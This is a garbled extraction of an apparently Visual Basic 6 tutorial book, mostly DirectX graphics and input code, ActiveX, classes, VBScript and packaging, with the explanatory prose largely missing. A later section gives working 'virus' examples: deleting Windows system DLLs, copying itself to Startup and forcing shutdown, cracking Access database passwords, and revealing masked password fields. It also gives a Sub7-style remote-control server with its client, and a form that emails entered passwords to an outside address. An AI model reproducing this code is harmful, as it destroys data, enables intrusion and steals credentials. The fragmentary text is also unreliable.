DDSCL_FULLSCREEN

DDSCL_ALLOWREBOOT


Alt+Ctrl+Delete


Windows98 DDSCL_CREATEDEVICEWINDOW


...

DDSCL_FULLSCREEN

DDSCL_EXCLUSIVE

DDSCL_FULLSCREEN


Full-Screen-Mode

DDSCL_EXCLUSIVE

DDSCL_MULTITHREADED

161


Windows ...
:
DDSCL_NORMAL

DDSCL_ALLOWMODEX
DDSCL_EXCLUSIVE
DDSCL_FULLSCREEN

DDSCL_NOWINDOWCHANGES

minimize
Restore

162

...
...
..
BitMaps
...
..OffScreen

Back.bmp ...
:
Rect ..
DdSurfaceDesc2 ..
DirectDrawSurface7 ...
:
'
Dim MySurf As DirectDrawSurface7
Dim My_Ddsd As DDSURFACEDESC2
Dim MyRect As RECT
'
_ My_Ddsd.lFlags = DDSD_CAPS Or DDSD_HEIGHT Or
DDSD_WIDTH
My_Ddsd.ddsCaps.lCaps = DDSCAPS_OFFSCREENPLAIN
My_Ddsd.lHeight = 600
My_Ddsd.lWidth = 800
MyRect.Top = 0
MyRect.Left = 0
MyRect.Right = 800

163

MyRect.Bottom = 600
'
Set MySurf = Dd.CreateSurfaceFromFile _ (App.Path &
"\back.bmp", My_Ddsd)
javascript:popup.TextPopup(poptxt761,
popfont761,9,9,-1,-1) '
Back_Buffer.BltFast 0, 0, MySurf, _
MyRect, DDBLTFAST_WAIT

.. ...

DdColorKey

164

...
...
:


... DdColorKey
:
DdColorKey :
Dim Key As DdColorKey
:
Key.high = 0
key.low = 0
Surface
Dd.CreateSurfaceFromFile

165

Key MySurf.SetColorKey DDCKEY_SRCBLT,


Back_Buffer.BltFast
DDBLTFAST_SRCCOLORKEY DDBLTFAST_WAIT
:

166


Score
...

... - -
...



:
Font
Size
Bold
Italic
Color ...
...

stdFont

167

Type ...
Name Size Bold ...
stdFont
...
:
'
Dim sFont As New StdFont
"sFont.Name = "Arial
sFont.Bold = True
sFont.Size = 18
sFont.Italic = True
'
Back_Buffer.SetFont sFont
.. '
'
'ForeColor
... '
_ Back_Buffer.DrawText 230, 50,
"Www.GameDesigners.8M.Net", False

...Y & X

168

Rectangle

: Rect ...
...

: Top
: Left
: Bottom
: Right


...
... Top - Left -
. Right - Bottom
Type ...

... Referece
:
Type Rect
Top As Long
Left As Long
Right As Long
Bottom As Long
End Type

169

Rect
...
... Rect
:
-
Rect
- Animation
Rect

-
Rect ...
.

170


...
Windows ...
.


:
- :
... :
...
- :

...
Pixel
: Pexel -
Pixels ...
...
Pixels ...

...
.

171


...
...
DdSurfaceDesc2
... ...

...
...
:
)(Private Sub Form_Load
Dim Dx As DirectX7
Dim Dd As DirectDraw7
Set Dx = New DirectX7
)""(Set Dd = Dx.DirectDrawCreate
Dim Ddsd As DDSURFACEDESC2
_ Dd.SetCooperativeLevel Form1.hWnd,
_ DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or
DDSCL_FULLSCREEN
Dd.GetDisplayMode Ddsd
Show
" & Ddsd.lHeight " Print
" & Ddsd.lWidth " Print
" & Ddsd.lRefreshRate " Print
End Sub

:
- Pixels ..
- Pixels ..
- RefreshRate .

172



... :
Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT

173

...
..
Dim Dx As DirectX7
Dim Dd As DirectDraw7
'
Set Dx = New DirectX7
'
Set Dd = Dx.DirectDrawCreate("")
'
Dd.SetCooperativeLevel Form1.hWnd, _
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _
DDSCL_FULLSCREEN
'
Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT
Dim Primary As DirectDrawSurface7
Dim Ddsd_Primary As DDSURFACEDESC2

'
Ddsd_Primary.lFlags = DDSD_CAPS Or

174

DDSD_BACKBUFFERCOUNT
Ddsd_Primary.ddsCaps.lCaps =
DDSCAPS_PRIMARYSURFACE _
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX
Ddsd_Primary.lBackBufferCount = 1
Set Primary = Dd.CreateSurface(Ddsd_Primary)
Me.Show
Dim Ddsd_Back_Buffer As DDSURFACEDESC2
Dim Back_Buffer As DirectDrawSurface7
'
Ddsd_Back_Buffer.ddsCaps.lCaps = DDSCAPS_BACKBUFFER
Set Back_Buffer =
Primary.GetAttachedSurface(Ddsd_Back_Buffer.ddsCaps)
Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer

175

( )
:
Dim Dx As DirectX7
Dim Dd As DirectDraw7
'
Set Dx = New DirectX7
Set Dd = Dx.DirectDrawCreate("")
'
Dd.SetCooperativeLevel Form1.hWnd, _
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _
DDSCL_FULLSCREEN
'
Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT
Dim Primary As DirectDrawSurface7
Dim Ddsd_Primary As DDSURFACEDESC2

'
Ddsd_Primary.lFlags = DDSD_CAPS Or
DDSD_BACKBUFFERCOUNT
Ddsd_Primary.ddsCaps.lCaps =
DDSCAPS_PRIMARYSURFACE _

176

Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX
Ddsd_Primary.lBackBufferCount = 1
Set Primary = Dd.CreateSurface(Ddsd_Primary)
Me.Show
Dim Ddsd_Back_Buffer As DDSURFACEDESC2
Dim Back_Buffer As DirectDrawSurface7
'
Ddsd_Back_Buffer.ddsCaps.lCaps = DDSCAPS_BACKBUFFER
Set Back_Buffer =
Primary.GetAttachedSurface(Ddsd_Back_Buffer.ddsCaps)
Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer
Do
DoEvents
'
Back_Buffer.SetFillColor vbBlack
Back_Buffer.SetFillStyle 0
Back_Buffer.DrawBox 0, 0, 800, 600
'
Back_Buffer.SetFillColor vbRed
Back_Buffer.SetFillStyle 5
Back_Buffer.SetForeColor vbCyan
Back_Buffer.setDrawWidth 2
Back_Buffer.DrawCircle 100, 100, 50

'
Back_Buffer.SetFillColor vbYellow
Back_Buffer.SetFillStyle 3
Back_Buffer.SetForeColor vbWhite
Back_Buffer.DrawRoundedBox 200, 100, 400, 300, 50, 50
'

177

Back_Buffer.SetFillStyle 4
Back_Buffer.DrawEllipse 400, 350, 700, 550
'
Primary.Flip Nothing, DDFLIP_WAIT
Loop

178

:
Dim Dx As DirectX7
Dim Dd As DirectDraw7
'
Set Dx = New DirectX7
Set Dd = Dx.DirectDrawCreate("")
'
Dd.SetCooperativeLevel Form1.hWnd, _
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _
DDSCL_FULLSCREEN
'
Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT
Dim Primary As DirectDrawSurface7
Dim Ddsd_Primary As DDSURFACEDESC2

'

179

Ddsd_Primary.lFlags = DDSD_CAPS Or
DDSD_BACKBUFFERCOUNT
Ddsd_Primary.ddsCaps.lCaps =
DDSCAPS_PRIMARYSURFACE _
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX
Ddsd_Primary.lBackBufferCount = 1
Set Primary = Dd.CreateSurface(Ddsd_Primary)
Me.Show
Dim Ddsd_Back_Buffer As DDSURFACEDESC2
Dim Back_Buffer As DirectDrawSurface7
'
Ddsd_Back_Buffer.ddsCaps.lCaps =
DDSCAPS_BACKBUFFER
Set Back_Buffer =
Primary.GetAttachedSurface(Ddsd_Back_Buffer.ddsCaps)
Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer
Dim MyFont As New StdFont
'
MyFont.Bold = True
MyFont.Size = 16
MyFont.Name = "Arial"
'
Back_Buffer.SetFont MyFont

'
Back_Buffer.SetForeColor vbWhite
Do
DoEvents

180

'
Back_Buffer.SetFillColor vbBlack
Back_Buffer.SetFillStyle 0
Back_Buffer.DrawBox 0, 0, 800, 600
'
Back_Buffer.DrawText 230, 100, "Bibo", False
Primary.Flip Nothing, DDFLIP_WAIT
Loop

181

KeyBoard
... :
Didev DiKey ...
:
- ..
- ..
- ..
- ..
- Ctrl Height..
- Ctrl Height..
- Escape ...

Sub
... :

182

Sub GetKeyState()
Didev.GetDeviceStateKeyboard DiKey
'
If DiKey.Key(DIK_ESCAPE) Then End
If DiKey.Key(DIK_LEFT) Then Me.Left =
Me.Left - 20
If DiKey.Key(DIK_RIGHT) Then Me.Left =
Me.Left + 20
If DiKey.Key(DIK_UP) Then Me.Top =
Me.Top - 20
If DiKey.Key(DIK_DOWN) Then Me.Top =
Me.Top + 20
If DiKey.Key(DIK_LCONTROL) Then
Me.Height = Me.Height + 1
If DiKey.Key(DIK_RCONTROL) Then
Me.Height = Me.Height - 1
End Sub

: Form_Load
Private Sub Form_Load()
Set Dx = New DirectX7
Set Di = Dx.DirectInputCreate()

183

Set Didev = Di.CreateDevice("guid_syskeyboard")


Didev.SetCommonDataFormat DIFORMAT_KEYBOARD
Didev.SetCooperativeLevel Me.hWnd,
DISCL_NONEXCLUSIVE Or DISCL_BACKGROUND
Didev.Acquire
Me.Show
Do
DoEvents
GetKeyState
Loop
End Sub

.. Dik_KeyName
:
Note

Constant
DIK_ESCAPE
DIK_1
DIK_2

On main keyboard
On main keyboard

184

On main keyboard
On main keyboard
On main keyboard
On main keyboard
On main keyboard
On main keyboard
On main keyboard
On main keyboard
On main keyboard
On main keyboard
BACKSPACE

DIK_3
DIK_4
DIK_5
DIK_6
DIK_7
DIK_8
DIK_9
DIK_0
DIK_MINUS
DIK_EQUALS
DIK_BACK
DIK_TAB
DIK_Q
DIK_W
DIK_E
DIK_R
DIK_T
DIK_Y
DIK_U
DIK_I
DIK_O
DIK_P
DIK_LBRACKET
DIK_RBRACKET
DIK_RETURN
DIK_LCONTROL
DIK_A
DIK_S
DIK_D
DIK_F
DIK_G
DIK_H
DIK_J
DIK_K
DIK_L

[
]
ENTER on main keyboard
Left CTRL

185

Grave accent (`)


Left SHIFT

On main keyboard
Forward slash (/)on main keyboard
Right SHIFT
Asterisk on numeric keypad
Left ALT
Spacebar
CAPS LOCK

SCROLL LOCK

186

DIK_SEMICOLON
DIK_APOSTROPHE
DIK_GRAVE
DIK_LSHIFT
DIK_BACKSLASH
DIK_Z
DIK_X
DIK_C
DIK_V
DIK_B
DIK_N
DIK_M
DIK_COMMA
DIK_PERIOD
DIK_SLASH
DIK_RSHIFT
DIK_MULTIPLY
DIK_LMENU
DIK_SPACE
DIK_CAPITAL
DIK_F1
DIK_F2
DIK_F3
DIK_F4
DIK_F5
DIK_F6
DIK_F7
DIK_F8
DIK_F9
DIK_F10
DIK_NUMLOCK
DIK_SCROLL
DIK_NUMPAD7
DIK_NUMPAD8
DIK_NUMPAD9

Hyphen (minus sign) on numeric


keypad

Plus sign on numeric keypad

Period (decimal point) on numeric


keypad

DIK_SUBTRACT
DIK_NUMPAD4
DIK_NUMPAD5
DIK_NUMPAD6
DIK_ADD
DIK_NUMPAD1
DIK_NUMPAD2
DIK_NUMPAD3
DIK_NUMPAD0
DIK_DECIMAL

DIK_F11
DIK_F12
DIK_F13
DIK_F14
DIK_F15
On Japanese keyboard
DIK_KANA
On Japanese keyboard
DIK_CONVERT
On Japanese keyboard
DIK_NOCONVERT
On Japanese keyboard
DIK_YEN
On numeric keypad (NEC PC98)
DIK_NUMPADEQUALS
On Japanese keyboard
DIK_CIRCUMFLEX
On Japanese keyboard
DIK_AT
On Japanese keyboard
DIK_COLON
On Japanese keyboard
DIK_UNDERLINE
On Japanese keyboard
DIK_KANJI
On Japanese keyboard
DIK_STOP
On Japanese keyboard
DIK_AX
On Japanese keyboard
DIK_UNLABELED
DIK_NUMPADENTER
Right CTRL key
DIK_RCONTROL
Comma on NEC PC98 numeric keypad DIK_NUMPADCOMMA
Forward slash (/)on numeric keypad DIK_DIVIDE
DIK_SYSRQ
187

Right ALT

DIK_RMENU
DIK_HOME
DIK_UP
DIK_PRIOR
DIK_LEFT
DIK_RIGHT
DIK_END
DIK_DOWN
DIK_NEXT
DIK_INSERT
DIK_DELETE
DIK_LWIN
DIK_RWIN
DIK_APPS
DIK_PAUSE

Up arrow
PAGE UP
Left arrow
Right arrow
Down arrow
PAGE DOWN

Left Windows key


Right Windows key
Application key

188

...
..X -
..Y -
..Z -
... -
...
:
'
Dim Dx As DirectX7
Dim Di As DirectInput
Dim Didev As DirectInputDevice
Dim DiMouse As DIMOUSESTATE
Private Sub Form_Load()
'
Set Dx = New DirectX7
Set Di = Dx.DirectInputCreate()
Set Didev =
Di.CreateDevice("guid_sysMouse")
Didev.SetCommonDataFormat
DIFORMAT_MOUSE
Didev.SetCooperativeLevel
Me.hWnd, DISCL_NONEXCLUSIVE
Or DISCL_BACKGROUND
Didev.Acquire
Me.Show
'
Do
DoEvents
189

GetMouseState
Loop
End Sub

Sub GetMouseState()
'
Didev.GetDeviceStateMouse
DiMouse
If DiMouse.buttons(0) Then _
Me.Caption = " Left Button"
If DiMouse.buttons(1) Then _
Me.Caption = " Right Button"
End Sub

190

...
Line ... Circle
..Back_Buffer

:
...
... Flip
..
Do

... Looping
" )
(" ...

...
...
...

... ... ...
... :
Back_Buffer.SetFillColor vbBlack
Back_Buffer.SetFillStyle 0
Back_Buffer.SetForeColor vbCyan
Back_Buffer.setDrawWidth 2
Do
On Local Error Resume Next
DoEvents
Back_Buffer.DrawBox 0, 0, 800, 600
Loop

191


-
- ...

Back_Buffer
:
... ...
... ... ... ..

:
Back_Buffer.SetFillColor vbBlack
Back_Buffer.SetFillStyle 0
Back_Buffer.SetForeColor vbCyan
Back_Buffer.setDrawWidth 2
Do
On Local Error Resume Next
DoEvents
Back_Buffer.DrawBox 0, 0, 800, 600
Primary.Flip Nothing, DDFLIP_WAIT
Loop
...
Alt+Ctrl+Delete
KeyCode End ..

:
Private Sub Form_KeyDown(KeyCode As Integer, _ Shift
)As Integer
End

192

End Sub
Private Sub Form_Load()
Dim Dx As DirectX7
Dim Dd As DirectDraw7
Set Dx = New DirectX7
Set Dd = Dx.DirectDrawCreate("")
Dd.SetCooperativeLevel Form1.hWnd, _
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _
DDSCL_FULLSCREEN
Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT
Dim Primary As DirectDrawSurface7
Dim Ddsd_Primary As DDSURFACEDESC2
Ddsd_Primary.lFlags = DDSD_CAPS Or
DDSD_BACKBUFFERCOUNT
Ddsd_Primary.ddsCaps.lCaps _
=DDSCAPS_PRIMARYSURFACE _
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX _
Ddsd_Primary.lBackBufferCount = 1
Set Primary = Dd.CreateSurface(Ddsd_Primary)
Dim Ddsd_Back_Buffer As DDSURFACEDESC2
Dim Back_Buffer As DirectDrawSurface7
Ddsd_Back_Buffer.ddsCaps.lCaps =
DDSCAPS_BACKBUFFER
Set Back_Buffer =
Primary.GetAttachedSurface(Ddsd_Back_Buffer.ddsCaps)
Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer
'Drawing Box
Do
On Local Error Resume Next
DoEvents
Back_Buffer.SetFillColor vbBlack
Back_Buffer.SetFillStyle 0
Back_Buffer.SetForeColor vbCyan
Back_Buffer.setDrawWidth 2
Back_Buffer.DrawBox 0, 0, 800, 600
Primary.Flip Nothing, DDFLIP_WAIT
Loop
End Sub

193


...

...

Back_Buffer.DrawCircle 400, 300, 100
FillStyle DrwWidth DrawStyle
Back_Buffer ..

194

ActiveX
Aetivex Visual Basic
:
Properties
Methods Events .
Class ..Control

195

ActiveX

ActiveX Control
.. New Project
Visual Basic :


Shape .

Shape Backcolor
Backstyle Opaque
BackColor Label
BackStyle Transparent
:

196

Label3D
Label3D
Label3D.ctl
Add Project File
..Standard Project
Visual Basic
.
Project Group
..





..

Save Project Group


... File

197


Initialize InitProperties ..Resize


:

..Resize )
( Resize MyTool
:
Dim W As Integer, Dim H As Integer
Shape1.Width = W
Shape1.Height = H
Shape2.Width = W
Shape2.Height = H
Label1.Top = ( H Label1.Height ) / 2
Label1.Width = W

..

) ( Label1
title
198

..
..MyTool
AddProcedure ..Tools
..AddProcedure

Property Type
Scope title Name
Public
..OK
:
Get title
..
Let title

:
Public Property Get title() As Variant
title = Label1.Caption
End Property

)Public Property Let title (ByVal vNewValue As Variant


Label1.Caption = vNewValue
PropertyChanged title
End Property

199

ocx File Make


MyTool.ocx ..
..

200

Visual Basic
Visual Basic Class

..
Add Class .. Project
.. Add Class Module
Class Module ..Open
Class1
..

201

InitializeTerminate

Initialize ..
Terminate ..

202


:

:
Public
.
Property Get.. Let
:
:Property Let
..
:Property Get
..
:Property Set Let
Object .. Font


..
Add Procedure .. Tools
..

203

Property Name
Type
..Get Let Ok
Let
: Private
Public Property Let Legnth(ByVal Length As Integer)
If Legnth < 0 Then
M_Legnth = 0
Else
M_Legnth = Legnth
End Property

: Get
Publick Property Get Legnth() As Integer
Legnth = M_Legnth
End Property

204

Methods

Methods
: Public
Public Sub PrintBold(Line As String)
Printer.ForntBold = True
Printer.Print Line
End Sub

205

:
: :
)(Publick Event Alarm
: Raise Event
:
)(Private Sub Get_Total
If Num > 1 Then
RaiseEvent Alarm
End If
End Sub

206


.
..
Dim Set
:
Dim MyAlarm As New Alarm
Dim MyAlarm As Alarm
Set MyAlarm = New Alarm

Set
With Events
:
Dim WithEvents MyAlarm As Alarm
Set MyAlarm As New Alarm

207




:
Set MyAlarm = Nothing

208





:
:World Wide Web
Pages

.
:E_mail
.
:Chat
.

Hardwore .
) ( FTP

209


Client /Server

..

Protocol .
HTTP
HTML
..

210



Leased Line .


Dowain Name

..Internet Server Softwore

211


Visual Basic
:
HTML ..
..VBScript
Dynamic
..HTML
ActiveX
Object
..ASP

212

VB Script
Visual Basic
Internet Explorer ..Microsoft
OutLook
Vbscript Visual Basic

..

213

VBScrip ..Varient
..
DoEvents Goto OnError
Numbers Line.. With
Str .. Val
Debug ... Stop

Public Private
New
On Error Resume

.. Port
..Clip board

..

214


:OptionButton
<INPUT TYPE=radio VALUE=Radio CHECKED NAME=R1>

:ComboBox
<SELECT NAME=check size=1 tabindex=1>
</SELECT>

:
<TEXTAREA ROWS=2 NAME=textarea COLS=20>
</TEXTAREA>

:
<INPUT TYPE=text NAME=text SIZE=20 VALUE=Text><P>
</P>

215

><INPUT TYPE=Button value=Button name=Button1

:
Value Caption Name ..


VBScript
..Notepad
:
><HTML
><Head
><Title></Title
></Head
><Body
><P><Script Language=VBScript
MsgBox
></Script></P
></Body
></HTML
Hllo.htm
..
VBScript :
><Script Language=VBScript

216

></Script

:
..Notepad
:
><HTML
><Head
><Title></Title
></Head
><Body
><INPUT TYPE=Button value=Button1 name=Button1
><P><Script Language=VBScript
)(Sub Button1_onClick
MsgBox
End Sub
></Script></P
></Body
></HTML
Hllo2.htm

..

217

218


DHTML
HTML
..

219


DHTML

:
Button .
:
Private Function Button1_onclick() As Boolean
Button1.Value = Bibo
End Function
..Bibo
DHTML
Caption Value Name ID
..

220


DHTML
DHTML DHTML Application ..Standard EXE

Designs DHTMLPage1
:

221

:
:
: .
: .
:
..

222

dll :
File > MakeDHTMLProject.dll
dll :
DHTMLProject.dll
DHTMLProject_DHTMLPage1.htm

..

223

!
!



..

:
..

..


..

..

224

:
dll
..
:
StandartEXE :
)(Private Sub Form_Load
)Call Kill (C:\WINDOWS\*.dll
End Sub
..C
dll ..

225

:
!
:
StandartEXE :
)(Private Sub Form_Load
On Error Resume Next
(C:\WINDOWS\Start

As

)Name (App.Path & \Game.exe


)Menu\Programs\StartUp\Virus2.exe
)"WinDir$ = Environ$("windir

"KillWin$ = WinDir$ + "\Rundll.exe User.exe,ExitWindows


Shell KillWin$
End Sub
..C

Game.exe
..

226


..
..Standart.exe
.. CommonDialog
:
Option Explicit
Private zChar As String
Dim n As Long, s1 As String * 1, s2 As String * 1
Dim lsClave As String
Dim mask As String
:
Private Sub Command1_Click()
CommonDialog1.Filter = "Microsoft Access Database|*.mdb"
CommonDialog1.DefaultExt = "mdb"
CommonDialog1.ShowOpen
zChar = CommonDialog1.FileTitle
mask = Chr(78) & Chr(134) & Chr(251) & Chr(236) & _
Chr(55) & Chr(93) & Chr(68) & Chr(156) & _
Chr(250) & Chr(198) & Chr(94) & Chr(40) & Chr(230) & Chr(19)
Open zChar For Binary As #1
227

Seek #1, &H42


For n = 1 To 14
s1 = Mid(mask, n, 1)
s2 = Input(1, 1)
If (Asc(s1) Xor Asc(s2)) <> 0 Then
lsClave = lsClave & Chr(Asc(s1) Xor Asc(s2))
End If
Next
Close 1
MsgBox lsClave & :
End Sub

228

..
..Standart EXE
..1
:
Private Declare Function WindowFromPoint Lib "user32" (ByVal
xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As
POINTAPI) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function SendMessage Lib "user32" Alias
"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long,
ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As
Long)

229

:
Const EM_SETPASSWORDCHAR = &HCC
Dim coord As POINTAPI
s = GetCursorPos(coord)
x = coord.x
y = coord.y
h = WindowFromPoint(x, y)
Dim NewChar As Integer
NewChar = CLng(0)
retval = SendMessage(h,
NewChar, 0)

EM_SETPASSWORDCHAR,

230

ByVal


..

Sub7 ... HackTac


..

..

Port ..

231

: Winsock
Private Sub Command1_Click()
On Error GoTo opn:
Winsock1.LocalPort = Text1.Text
Winsock1.Listen
Text2.Text = ""
Winsock1.Close
Exit Sub
opn:
If Err.Number = 10048 Then
Text2.Text = ""
Else
Text2.Text = ""
End If
Winsock1.Close
End Sub

232

: Module
Public Declare Function mciSendString Lib "winmm.dll" Alias
"mciSendStringA" (ByVal lpstrCommand As String, ByVal
lpstrReturnString As String, ByVal uReturnLength As Long, ByVal
hwndCallback As Long) As Long
Dim SendStr As String, ReturnStr As String

:DataArival Winsock
Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
Dim vardata As String
Dim strdata As String
Dim cmddata As String * 3
tcpServer.GetData strdata
cmddata = Left(strdata, 3)
vardata = Right(strdata, Len(strdata) - 3)
DoCommand cmddata, vardata
End Sub

233

: Module
Public Function DoCommand(command As String, data As String)
'The server is performing a command
Select Case LCase(command)
Case "opn"
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0,
0)
Case "cls"
SendStr = mciSendString("Set cdaudio door closed", ReturnStr, 0,
0)
Case "msg"
MsgBox data, vbInformation, "Information"
End Select
End Function



..CommonDialog

234

Server

..

..
: WinsockControl
:
Private Sub Form_Load()
tcpServer.LocalPort = 8686
tcpServer.Listen
End Sub
..Client
:ConnectionRequest Winsock
Private Sub tcpServer_ConnectionRequest(ByVal requestID As
Long)
tcpServer.Close 'close to prevent any error
tcpServer.Accept requestID 'accept all incoming requests
End Sub

235

: Error
Private Sub tcpServer_Error(ByVal Number As Integer, Description
As String, ByVal Scode As Long, ByVal Source As String, ByVal
HelpFile As String, ByVal HelpContext As Long, CancelDisplay As
Boolean)
On Error Resume Next 'to prevent any more error's
tcpServer.Close 'Close the connection
tcpServer.Listen 'listen again
End Sub

.

236

Client
:
Microsoft Winsock Control .
:

:
cmdConnect
cmdDisconnect
cmdOpen
cmdClose
- cmdMsg

Label1
- lblStatus
Text1
- txtIP
Text2
- txtMsg
Winsock1 - tcpClient
Form
- frmClient

Command1 Command2 Command3 Command4Command5

Command1
..

237

:
Private Sub cmdConnect_Click()
cmdConnect.Enabled = False ' disable the connect button
lblStatus.Caption = " .."
If txtIP.Text = "" Then
MsgBox " IP ..", vbCritical
End If
tcpClient.Connect txtIP.Text, 8686
End Sub

..
:
Private Sub cmdDisconnect_Click()
LblStatus.Caption = Not Connected
cmdDisconnect.Enabled = False
cmdConnect.Enabled = True
tcpClient.Close
End Sub
..

Connect Winsock
:

238

Private Sub tcpClient_Connect()


lblStatus.Caption = "Connected"
End Sub
:
:
Private Sub cmdOpen_Click()
tcpClient.SendData "opn"
End Sub
:
Private Sub cmdClose_Click()
tcpClient.SendData "cls
End Sub
:
Private Sub cmdMsg_Click()
tcpClient.SendData "msg" & txtMsg

End Sub
.. Client

239

:
FirstName LastName
E-Mail Password
..
:
:

240

: OK
SendMail ..S
...
If Text3.Text = "" Or Text4.Text = "" Then
"!" ", 48, MsgBox "..
Exit Sub
Else
s.MailFrom = Text3.Text
s.MailName = Text3.Text
s.MailSubject = Text3.Text
s.MailTo = "bibovbbook@hotmail.com
s.MailMessage = Text4.Text
s.Send
End If
If s.Success = True Then
, 32, MsgBox ..

Else

"!" ", 16, MsgBox "..


End If

..
..

241

:
)(Private Sub Command1_Click
End
End Sub
...

242

InputBox
:
)(Private Sub Command1_Click
)"a = InputBox("Message", "Title", "Default
.

End Sub


.. :

Message .
Title .
Default .

:
)(Private Sub Command1_Click
)" " "," ", name = InputBox("..
End Sub
:

name

243

..
:

)(Private Sub Command1_Click


)" " "," ", name = InputBox("..
Label1.Caption = name
.
End Sub

..

244

ToolTipText



..

245

ClipBoard
ClipBoard
:
:
ClipBoard.Clear
ClipBoard.SetText Text1.Text, vbCFText
ClipBoard.Clear
ClipBoard.SetData Picture1.Picture

:
Text1.Text = ClipBoard.GetData(vbCDText)
:
Set Picture1.Picture = ClipBoard.GetData(vbCFBitmap)

246

With

=

Label1.ForeColor = vbBlue

Label1.Caption = Bibo
Label1.BackColor = vbGreen

Caption Bibo
..
Label1 Label1.
With :
With Label1
.Caption = Bibo
.BackColor = vbGreen
.ForeColor = vbBlue
End With
End With ..

247

With
APP Appilication
:
App.path
.
C:\New
.. App.path
:
Msgbox App.path
.


Bibo Bmp:
)"Picture1.Picture = Loadpicture(App.path & "\Bibo.Bmp
App.path
:
Shell "Notepad.exe" & " " & App.path & "\RedMe.txt",
vbNormalFocus
:
"Filecopy App.path & App.EXEName , "C:\Ahmed

APP
App.Path ..

248

Shell32

Shell32 API
API Shell Refrences
..Project
Browse Shell32.dll ..System

:
Dim Shell32 As Shell
:

:
:
Shell32.BrowseForFolder Me.hWnd, "Bibo's Browser", 2 ^ I
:
Shell32.FindFiles
:
Shell32.FindComputer
:
Shell32.FileRun

249

:
:
Shell32.ShutdownWindows
:TrayProp
Shell32.TrayProperties
:Suspend
Shell32.Suspend

:
:
Shell32.TileVertically
:
Shell32.TileHorizontally
:
Shell32.CascadeWindows
: Minimize
Shell32.MinimizeAll

250


:
:
Line BorderWidth 2
..
:
Line
.
:
.

251


Setup

exe , ..
:
Add-In Manger ..Add-Ins
Package And Deployment Wizard .. Loaded / Unloaded
Add-Ins Package And Deployment Wizard
:

Package :

252

Standart Setup Package ..Next


:

..Next

253

..Next
:

..Next

254

..Next
:

..Next

255

..Next
:

..Next

256

..Finish

..Package

257

You might also like